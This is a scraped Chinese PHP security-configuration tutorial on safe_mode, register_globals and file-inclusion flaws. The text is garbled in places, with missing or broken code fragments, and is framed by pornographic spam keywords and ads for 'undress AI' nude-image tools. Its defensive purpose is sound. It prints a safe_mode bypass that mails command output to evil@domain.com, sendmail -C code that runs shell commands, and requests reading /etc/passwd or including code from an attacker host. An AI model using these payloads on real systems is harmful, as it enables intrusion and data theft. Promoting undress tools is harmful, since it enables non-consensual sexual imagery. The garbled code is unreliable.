国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

首頁(yè) 後端開(kāi)發(fā) php教程 PHP安全配置_PHP教程

PHP安全配置_PHP教程

Jul 21, 2016 pm 04:09 PM
php web 功能 安全 伺服器 模組 版本 配置


版本:0.02

一、Web伺服器安全

PHP其實(shí)不過(guò)是Web伺服器的模組功能,所以首先要確保Web伺服器的安全。當(dāng)然Web伺服器要安全又必須是先確保系統(tǒng)安全,這樣就扯遠(yuǎn)了,無(wú)窮無(wú)盡。 PHP可以和各種Web伺服器結(jié)合,這裡也只討論Apache。非常建議以chroot方式安裝啟動(dòng)Apache,這樣即使Apache和PHP及其腳本出現(xiàn)漏洞,受影響的只有這個(gè)禁錮的系統(tǒng),不會(huì)危害實(shí)際系統(tǒng)。但是使用chroot的Apache後,給應(yīng)用程式也會(huì)帶來(lái)一定的麻煩,例如連接mysql時(shí)必須用127.0.0.1位址使用tcp連接而不能用localhost實(shí)現(xiàn)socket連接,這在效率上會(huì)稍微差一點(diǎn)。還有mail函數(shù)發(fā)送郵件也是個(gè)問(wèn)題,因?yàn)閜hp.ini裡的:

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = me@localhost.com

都是針對(duì)Win32平臺(tái),所以需要在chroot環(huán)境下調(diào)整好sendmail。

二、PHP本身問(wèn)題

1、遠(yuǎn)端溢位

PHP-4.1.2以下的所有版本都存在檔案上傳遠(yuǎn)端緩衝區(qū)溢位漏洞,而且攻擊程式已經(jīng)溢位漏洞,而且攻擊程式已經(jīng)廣泛流傳,成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.
2.遠(yuǎn)端拒絕服務(wù)

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請(qǐng)求處理遠(yuǎn)端漏洞,雖然無(wú)法取得本機(jī)使用者權(quán)限,但也能造成拒絕服務(wù)。

3、safe_mode繞過(guò)漏洞

還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數(shù)繞過(guò)safe_mode限制執(zhí)行指令漏洞,4.0.5版本開(kāi)始mail函數(shù)增加了第五個(gè)參數(shù),由於設(shè)計(jì)者考慮不周可以突破safe_mode的限制執(zhí)行指令。其中4.0.5版本突破非常簡(jiǎn)單,只要用分號(hào)隔開(kāi)後面加上shell指令就可以了,例如存在PHP腳本evil.php:

mail("foo@bar,"foo" ,"bar","",$bar); ?>

執(zhí)行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin /id|mail evil@domain.com

這將id執(zhí)行的結(jié)果發(fā)送給evil@domain.com。利用了sendmail的-C參數(shù),所以系統(tǒng)必須是使用sendmail。它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($ cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite ($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", " ", "", "", "-C$cf");
?>

還是使用以上有問(wèn)題版本PHP的使用者一定要及時(shí)升級(jí)到最新版本,這樣才能消除基本的安全問(wèn)題。 )進(jìn)行設(shè)置,也可以在腳本程式裡使用ini_set()及其他的特定的函數(shù)進(jìn)行設(shè)定。唯一PHP_INI_SYSTEM屬性的,必須透過(guò)php.ini和httpd.conf來(lái)修改,它們修改的是PHP的Master值,但修改後必須重新啟動(dòng)apache才能生效。其中php.ini設(shè)定的選項(xiàng)是對(duì)Web伺服器所有腳本生效,httpd.conf裡設(shè)定的選項(xiàng)是對(duì)該定義的目錄下所有腳本生效。

如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項(xiàng)就可以使用.htaccess檔設(shè)置,也可以透過(guò)在腳本程式本身用ini_set()函數(shù)設(shè)定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只對(duì)目前目錄的腳本程式生效,ini_set()函數(shù)只對(duì)該腳本程式設(shè)定ini_set()函數(shù)以後的程式碼生效。各個(gè)版本的選項(xiàng)屬性可能不盡相同,可以用以下命令查找目前原始碼的main.c檔案得到所有的選項(xiàng),以及它的屬性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在討論P(yáng)HP安全配置之前,應(yīng)該先好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM屬性,必須透過(guò)php.ini或httpd.conf來(lái)設(shè)定。要啟用safe_mode,只需修改php.ini:

safe_mode = On

或修改httpd.conf,定義目錄:


Options FollowSymLinks
php_admin_value safe_mode 1


重啟apache後safe_mode就生效了。啟動(dòng)safe_mode,會(huì)對(duì)許多PHP函數(shù)進(jìn)行限制,特別是和系統(tǒng)相關(guān)的檔案開(kāi)啟、指令執(zhí)行等函數(shù)。
所有操作文件的函數(shù)將只能操作與腳本UID相同的文件,例如test.php腳本的內(nèi)容為:



幾個(gè)檔案的屬性如下:

# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www -data 41 Jul 19 19:14 test.php

在瀏覽器請(qǐng)求test.php會(huì)提示如下的錯(cuò)誤訊息:

Warning: SAFE MODE Restriction in effect. The script whose uid/ gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目錄的UID和腳本UID一致,那麼該檔案的UID即使和腳本不同也可以存取的,不知這是否是PHP的漏洞還是另有隱情。所以php腳本屬主這個(gè)使用者最好就只作這個(gè)用途,絕對(duì)禁止用root做為php腳本的屬主,這樣就達(dá)不到safe_mode的效果了。

如果想放寬到GID比較,則開(kāi)啟safe_mode_gid可以考慮只比較檔案的GID,可以設(shè)定以下選項(xiàng):

safe_mode_gid = On

設(shè)定了以後,所有指令執(zhí)行的函式將被限制只能執(zhí)行php.ini裡safe_mode_exec_dir指定目錄裡的程序,而且shell_exec、`ls -l`這種執(zhí)行指令的方式會(huì)被禁止。如果確實(shí)需要呼叫其它程序,可以在php.ini做以下設(shè)定:

safe_mode_exec_dir = /usr/local/php/exec

然後拷貝程式到該目錄,那麼php腳本就可以用system等函數(shù)來(lái)執(zhí)行該程式。而且該目錄裡的shell腳本還是可以呼叫其它目錄裡的系統(tǒng)指令。

safe_mode_include_dir string
當(dāng)從此目錄及其子目錄(目錄必須在 include_path 中或使用完整路徑來(lái)包含)包含檔案時(shí)越過(guò) UID/GID 檢查。

從 PHP 4.2.0 開(kāi)始,本指令可以接受和 include_path 指令類似的風(fēng)格用分號(hào)隔開(kāi)的路徑,而不只是一個(gè)目錄。

指定的限制其實(shí)是一個(gè)前綴,而非一個(gè)目錄名。這也就是說(shuō)“safe_mode_include_dir = /dir/incl”將允許存取“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將存取控制在指定的目錄,那麼請(qǐng)?jiān)诮Y(jié)尾加上一個(gè)斜線,例如:「safe_mode_include_dir = /dir/incl/」。

safe_mode_allowed_env_vars string
設(shè)定某些環(huán)境變數(shù)可能是潛在的安全缺口。本指令包含一個(gè)逗號(hào)分隔的前綴清單。在安全模式下,使用者只能改變那些名字具有在這裡提供的前綴的環(huán)境變數(shù)。預(yù)設(shè)情況下,使用者只能設(shè)定以 PHP_ 開(kāi)頭的環(huán)境變數(shù)(例如 PHP_FOO = BAR)。

註: 如果本指令為空,PHP 將使使用者可以修改任何環(huán)境變數(shù)!

safe_mode_protected_env_vars string
本指令包含一個(gè)逗號(hào)分隔的環(huán)境變數(shù)的列表,最終使用者不能用 putenv() 來(lái)改變這些環(huán)境變數(shù)。甚至在 safe_mode_allowed_env_vars 中設(shè)定了允許修改時(shí)也不能改變這些變數(shù)。

雖然safe_mode不是萬(wàn)能的(低版的PHP可以繞過(guò)),但還是強(qiáng)烈建議開(kāi)啟安全模式,在一定程度上能夠避免一些未知的攻擊。不過(guò)啟用safe_mode會(huì)有很多限制,可能會(huì)對(duì)應(yīng)用程式帶來(lái)影響,所以還需要調(diào)整程式碼和配置才能和諧。被安全模式限製或屏蔽的函數(shù)可以參考PHP手冊(cè)。

討論完safe_mode後,以下結(jié)合程式碼實(shí)際可能出現(xiàn)的問(wèn)題討論如何透過(guò)對(duì)PHP伺服器端的設(shè)定來(lái)避免出現(xiàn)的漏洞。

2、變數(shù)濫用

PHP預(yù)設(shè)register_globals = On,對(duì)於GET, POST, Cookie, Environment, Session的變數(shù)可以直接註冊(cè)成全域變數(shù)。它們的註冊(cè)順序是variables_order = "EGPCS"(可以用php.ini修改),同名變數(shù)variables_order右邊的覆寫(xiě)左邊,所以變數(shù)的濫用極易造成程式的混亂。而腳本程式設(shè)計(jì)師往往沒(méi)有對(duì)變數(shù)初始化的習(xí)慣,像如下的程式片段就極易受到攻擊:


//test_1.php

if ($pass = = "hello")
$auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>

攻擊者只需用以下的請(qǐng)求就能繞過(guò)檢查:
http://victim/test_1.php?auth=1

這雖然是一個(gè)很弱智的錯(cuò)誤,但一些著名的程式也有犯過(guò)這種錯(cuò)誤,例如phpnuke的遠(yuǎn)端文件拷貝漏洞:http://www.securityfocus.com/bid/3361

PHP-4.1.0發(fā)布的時(shí)候建議關(guān)閉register_globals,並提供了7個(gè)特殊的陣列變數(shù)來(lái)使用各種變數(shù)。對(duì)於從GET、POST、COOKIE等來(lái)的變數(shù)並不會(huì)直接註冊(cè)成變量,必需透過(guò)數(shù)組變數(shù)來(lái)存取。 PHP-4.2.0發(fā)佈的時(shí)候,php.ini預(yù)設(shè)配置就是register_globals = Off。這使得程式使用PHP自身初始化的預(yù)設(shè)值,一般為0,避免了攻擊者控制判斷變數(shù)。

解決方法:

設(shè)定檔php.ini設(shè)定register_globals = Off。

要求程式設(shè)計(jì)師對(duì)作為判斷的變數(shù)在程式最開(kāi)始初始化一個(gè)值。

3、檔案開(kāi)啟

極易受攻擊的程式碼片段:


//test_2.php

if (!( $str = readfile("$filename"))) {
echo("Could not open file: $filename
n");
exit;
}
else {
echo $str;
}
?>

由於攻擊者可以指定任意的$filename,攻擊者用如下的請(qǐng)求就可以看到/etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

以下請(qǐng)求可以讀取php檔案本身:

http://victim/test_2.php?filename=test_2. php

PHP中檔案開(kāi)啟函數(shù)還有fopen(), file()等,如果對(duì)檔案名稱變數(shù)檢查不嚴(yán)格就會(huì)造成伺服器重要檔案被存取讀取。

解決方法:

如非特殊需要,把php的檔案操作限制在web目錄裡面。以下是修改apache設(shè)定檔httpd.conf的範(fàn)例:


php_admin_value open_dir /usr/local/apache/hts


重新啟動(dòng)apache後,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的檔案了,否則PHP就會(huì)報(bào)錯(cuò):

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免這種問(wèn)題,前面已經(jīng)討論過(guò)了。

4、包含檔案

極易受攻擊的程式碼片段:


//test_3.php

if(file_exists( $filename))
include("$filename");
?>

這種不負(fù)責(zé)任的程式碼會(huì)造成相當(dāng)大的危害,攻擊者用以下請(qǐng)求可以得到/etc/ passwd檔:

http://victim/test_3.php?filename=/etc/passwd

如果對(duì)Unix版的PHP(Win版的PHP不支援遠(yuǎn)端開(kāi)啟檔案)攻擊者可以在自己開(kāi)了http或ftp服務(wù)的機(jī)器上建立一個(gè)包含shell命令的文件,如http://attack/attack.txt的內(nèi)容是,那麼如下的請(qǐng)求就可以在目標(biāo)主機(jī)執(zhí)行指令ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻擊者甚至可以透過(guò)包含apache的日誌檔access.log和error.log來(lái)得到執(zhí)行指令的程式碼,不過(guò)由於幹?jǐn)_資訊太多,有時(shí)不容易成功。
對(duì)於另一種形式,如下程式碼片段:


//test_4.php

include("$lib/config.php");
?>

攻擊者可以在自己的主機(jī)建立一個(gè)包含執(zhí)行命令代碼的config.php文件,然後用以下請(qǐng)求也可以在目標(biāo)主機(jī)執(zhí)行命令:

http://victim /test_4.php?lib=http://attack

PHP的包含函數(shù)有include(), include_once(), require(), require_once。如果對(duì)包含檔名變數(shù)檢查不嚴(yán)就會(huì)對(duì)系統(tǒng)造成嚴(yán)重危險(xiǎn),可以遠(yuǎn)端執(zhí)行指令。

解決方法:

要求程式設(shè)計(jì)師包含檔案裡的參數(shù)盡量不要使用變量,如果使用變量,就一定要嚴(yán)格檢查要包含的檔案名,絕對(duì)不能由使用者任意指定。

如前面檔案開(kāi)啟中限制PHP操作路徑是必要的選項(xiàng)。另外,如非特殊需要,一定要關(guān)閉PHP的遠(yuǎn)端檔案開(kāi)啟功能。修改php.ini檔案:

allow_url_fopen = Off

重啟apache。

5、檔案上傳

php的檔案上傳機(jī)制是把使用者上傳的檔案保存在php.ini的upload_tmp_dir定義的暫存目錄(預(yù)設(shè)是系統(tǒng)的暫存目錄,如:/tmp )裡的一個(gè)類似phpxXuoXG的隨機(jī)臨時(shí)文件,程式執(zhí)行結(jié)束,該臨時(shí)文件也被刪除。 PHP為上傳的檔案定義了四個(gè)變數(shù):(如form變數(shù)名稱是file,而register_globals開(kāi)啟)

$file #就是儲(chǔ)存到伺服器端的暫存檔案(如/tmp/phpxXuoXG )
$ file_size #上傳檔案的大小
$file_name #上傳檔案的原始名稱
$file_type #上傳檔案的類型

建議使用:

$HTTP_POST_FILES['file'][ 'tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']

這是一個(gè)最簡(jiǎn)單的檔案上傳程式碼:


//test_5.php

if(isset($upload) && $file != " none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "檔案".$file_name."上傳成功! "$PHP_SELF">繼續(xù)上傳";
exit;
}
?>


檔案上傳




本網(wǎng)站聲明
本文內(nèi)容由網(wǎng)友自願(yuàn)投稿,版權(quán)歸原作者所有。本站不承擔(dān)相應(yīng)的法律責(zé)任。如發(fā)現(xiàn)涉嫌抄襲或侵權(quán)的內(nèi)容,請(qǐng)聯(lián)絡(luò)admin@php.cn

熱AI工具

Undress AI Tool

Undress AI Tool

免費(fèi)脫衣圖片

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅(qū)動(dòng)的應(yīng)用程序,用於創(chuàng)建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費(fèi)的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費(fèi)的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強(qiáng)大的PHP整合開(kāi)發(fā)環(huán)境

Dreamweaver CS6

Dreamweaver CS6

視覺(jué)化網(wǎng)頁(yè)開(kāi)發(fā)工具

SublimeText3 Mac版

SublimeText3 Mac版

神級(jí)程式碼編輯軟體(SublimeText3)

熱門(mén)話題

如何在PHP中獲取當(dāng)前的會(huì)話ID? 如何在PHP中獲取當(dāng)前的會(huì)話ID? Jul 13, 2025 am 03:02 AM

在PHP中獲取當(dāng)前會(huì)話ID的方法是使用session_id()函數(shù),但必須先調(diào)用session_start()才能成功獲取。 1.調(diào)用session_start()啟動(dòng)會(huì)話;2.使用session_id()讀取會(huì)話ID,輸出類似abc123def456ghi789的字符串;3.若返回為空,檢查是否遺漏session_start()、用戶是否首次訪問(wèn)或會(huì)話是否被銷毀;4.會(huì)話ID可用於日誌記錄、安全驗(yàn)證和跨請(qǐng)求通信,但需注意安全性。確保正確開(kāi)啟會(huì)話後即可順利獲取ID。

php從字符串獲取子字符串 php從字符串獲取子字符串 Jul 13, 2025 am 02:59 AM

要從PHP字符串中提取子字符串,可使用substr()函數(shù),其語(yǔ)法為substr(string$string,int$start,?int$length=null),若未指定長(zhǎng)度則截取至末尾;處理多字節(jié)字符如中文時(shí)應(yīng)使用mb_substr()函數(shù)以避免亂碼;若需根據(jù)特定分隔符截取字符串,可使用explode()或結(jié)合strpos()與substr()實(shí)現(xiàn),例如提取文件名擴(kuò)展名或域名。

您如何執(zhí)行PHP代碼的單元測(cè)試? 您如何執(zhí)行PHP代碼的單元測(cè)試? Jul 13, 2025 am 02:54 AM

UnittestinginPHPinvolvesverifyingindividualcodeunitslikefunctionsormethodstocatchbugsearlyandensurereliablerefactoring.1)SetupPHPUnitviaComposer,createatestdirectory,andconfigureautoloadandphpunit.xml.2)Writetestcasesfollowingthearrange-act-assertpat

如何將字符串分為PHP中的數(shù)組 如何將字符串分為PHP中的數(shù)組 Jul 13, 2025 am 02:59 AM

在PHP中,最常用的方法是使用explode()函數(shù)將字符串拆分為數(shù)組。該函數(shù)通過(guò)指定的分隔符將字符串分割成多個(gè)部分並返回?cái)?shù)組,語(yǔ)法為explode(separator,string,limit),其中separator為分隔符,string為原字符串,limit為可選參數(shù)控制最大分割數(shù)量。例如$str="apple,banana,orange";$arr=explode(",",$str);結(jié)果為["apple","bana

JavaScript數(shù)據(jù)類型:原始與參考 JavaScript數(shù)據(jù)類型:原始與參考 Jul 13, 2025 am 02:43 AM

JavaScript的數(shù)據(jù)類型分為原始類型和引用類型。原始類型包括string、number、boolean、null、undefined和symbol,其值不可變且賦值時(shí)復(fù)制副本,因此互不影響;引用類型如對(duì)象、數(shù)組和函數(shù)存儲(chǔ)的是內(nèi)存地址,指向同一對(duì)象的變量會(huì)相互影響。判斷類型可用typeof和instanceof,但需注意typeofnull的歷史問(wèn)題。理解這兩類差異有助於編寫(xiě)更穩(wěn)定可靠的代碼。

在C中使用std :: Chrono 在C中使用std :: Chrono Jul 15, 2025 am 01:30 AM

std::chrono在C 中用於處理時(shí)間,包括獲取當(dāng)前時(shí)間、測(cè)量執(zhí)行時(shí)間、操作時(shí)間點(diǎn)與持續(xù)時(shí)間及格式化解析時(shí)間。 1.獲取當(dāng)前時(shí)間使用std::chrono::system_clock::now(),可轉(zhuǎn)換為可讀字符串但係統(tǒng)時(shí)鐘可能不單調(diào);2.測(cè)量執(zhí)行時(shí)間應(yīng)使用std::chrono::steady_clock以確保單調(diào)性,並通過(guò)duration_cast轉(zhuǎn)換為毫秒、秒等單位;3.時(shí)間點(diǎn)(time_point)和持續(xù)時(shí)間(duration)可相互操作,但需注意單位兼容性和時(shí)鐘紀(jì)元(epoch)

如何將會(huì)話變量傳遞給PHP中的另一頁(yè)? 如何將會(huì)話變量傳遞給PHP中的另一頁(yè)? Jul 13, 2025 am 02:39 AM

在PHP中,要將一個(gè)會(huì)話變量傳到另一個(gè)頁(yè)面,關(guān)鍵在於正確開(kāi)啟會(huì)話並使用相同的$_SESSION鍵名。 1.每個(gè)頁(yè)面使用session變量前必須調(diào)用session_start(),且放在腳本最前面;2.在第一個(gè)頁(yè)面設(shè)置session變量如$_SESSION['username']='JohnDoe';3.在另一頁(yè)面同樣調(diào)用session_start()後通過(guò)相同鍵名訪問(wèn)變量;4.確保每個(gè)頁(yè)面都調(diào)用session_start()、避免提前輸出內(nèi)容、檢查服務(wù)器上session存儲(chǔ)路徑可寫(xiě);5.使用ses

PHP如何處理環(huán)境變量? PHP如何處理環(huán)境變量? Jul 14, 2025 am 03:01 AM

toAccessenvironmentVariablesInphp,useGetenv()或$ _envsuperglobal.1.getEnv('var_name')retievesSpecificvariable.2。 $ _ en v ['var_name'] accessesvariablesifvariables_orderInphp.iniincludes“ e” .setVariablesViaCliWithvar = vualitephpscript.php,inapach

See all articles